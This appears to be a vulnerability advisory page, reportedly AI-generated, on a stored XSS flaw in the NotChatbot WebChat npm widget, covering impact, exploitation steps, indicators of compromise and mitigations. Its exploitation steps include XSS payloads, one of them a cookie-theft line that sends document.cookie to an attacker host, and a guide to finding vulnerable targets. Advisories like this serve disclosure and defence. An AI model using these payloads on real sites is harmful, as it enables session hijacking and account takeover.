CVE-2026-30048
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-30048 is a stored Cross-Site Scripting (XSS) vulnerability in the NotChatbot WebChat widget (@developer.notchatbot/webchat) affecting versions up to and including 1.5.0 (initially reported as through 1.4.4). User-supplied chat input is not sanitized before being stored and rendered in the conversation history, allowing injection of arbitrary JavaScript that executes when the chat history is reloaded. The vulnerability was discovered in January 2026 by researcher Nano (@0xNano) and assigned a CVE in March 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, GitHub PoC).

Technical details

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in the chat history rendering logic of the WebChat component. When a user submits a chat message, the input is stored without output encoding or HTML sanitization and later rendered directly into the DOM, allowing injected HTML/JavaScript to execute in any browser that loads the conversation history. The attack requires low privileges (an authenticated chat user) and user interaction (a victim reloading or viewing the chat history), and the scope is changed since the injected script executes in the context of the hosting page. Because the flaw resides in the reusable widget component itself rather than any specific site configuration, all applications integrating the vulnerable package versions are affected (GitHub PoC, Researcher Gist).

Impact

Successful exploitation enables arbitrary JavaScript execution in the browser of any user who views the affected chat history, including support agents or administrators. This can lead to session hijacking, credential or cookie theft, information disclosure, and potential account takeover depending on the privileges of the victim viewing the conversation. Because the vulnerability is stored (persistent), a single injected payload can affect multiple victims over time without further attacker interaction (GitHub PoC, Feedly).

Exploitability

A public proof-of-concept (PoC) repository with concrete XSS payloads and step-by-step reproduction instructions is available on GitHub (GitHub PoC), and a video demonstration has also been published. The EPSS score is approximately 0.018% (very low automated exploitation probability), and there is no current evidence of in-the-wild exploitation or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

Exploitation steps

  1. Identify a target: Locate a web application that integrates the @developer.notchatbot/webchat package at version 1.5.0 or earlier (e.g., via npm package inspection or CDN URL app.unpkg.com/@developer.notchatbot/webchat@1.5.0).
  2. Obtain chat access: Register or log in as a low-privileged user with access to the chat widget on the target site.
  3. Craft a malicious payload: Prepare an XSS payload such as <img src=x onerror=alert(document.domain)> or a more targeted payload for session cookie theft (e.g., <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">).
  4. Inject the payload: Submit the crafted payload as a chat message through the WebChat widget interface.
  5. Trigger execution: The payload is stored in the chat history. When any user (including support staff or administrators) reloads or reopens the conversation, the malicious JavaScript executes in their browser context.
  6. Achieve objective: Collect exfiltrated session tokens, perform actions on behalf of the victim, or pivot to further attacks depending on the victim's privilege level (GitHub PoC, Researcher Gist).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to unexpected external domains (e.g., attacker-controlled servers) originating from pages hosting the NotChatbot widget; unusual GET/POST requests containing encoded cookie or session data in query parameters.
  • Logs: Web server or CDN access logs showing chat message submissions containing HTML tags such as <img, <script, onerror=, or javascript: in message body fields; repeated loading of chat history endpoints by multiple users shortly after a specific message was submitted.
  • Browser/Application: JavaScript errors or unexpected alert dialogs appearing when chat history is loaded; unexpected DOM modifications or iframes injected into the chat widget area.
  • File System / Storage: Chat history records in the backend database or storage containing raw HTML/JavaScript tags rather than plain text in message fields (GitHub PoC, Researcher Gist).

Mitigation and workarounds

No official patched version has been confirmed by the vendor in the available data; the PoC repository notes the vulnerability affects versions up to and including 1.5.0. Organizations should monitor the @developer.notchatbot/webchat npm package for a patched release and upgrade immediately when available. In the interim, implement a strict Content Security Policy (CSP) to block inline script execution, apply server-side input validation and output encoding (e.g., using DOMPurify) for all chat message content, and consider disabling or restricting the chat history feature until a fix is released (GitHub PoC, Researcher Gist).

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-54504HIGH8.8
  • JavaScript logoJavaScript
  • @andrea9293/mcp-documentation-server
NoYesSep 17, 2026
CVE-2026-77615HIGH8.7
  • JavaScript logoJavaScript
  • paella-core
NoYesSep 17, 2026
CVE-2026-91127HIGH8.2
  • JavaScript logoJavaScript
  • @file-viewer/doc
NoYesSep 18, 2026
CVE-2026-77301HIGH7.5
  • JavaScript logoJavaScript
  • adm-zip
NoYesSep 18, 2026
CVE-2026-84992MEDIUM6.1
  • JavaScript logoJavaScript
  • md-editor-v3
NoYesSep 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management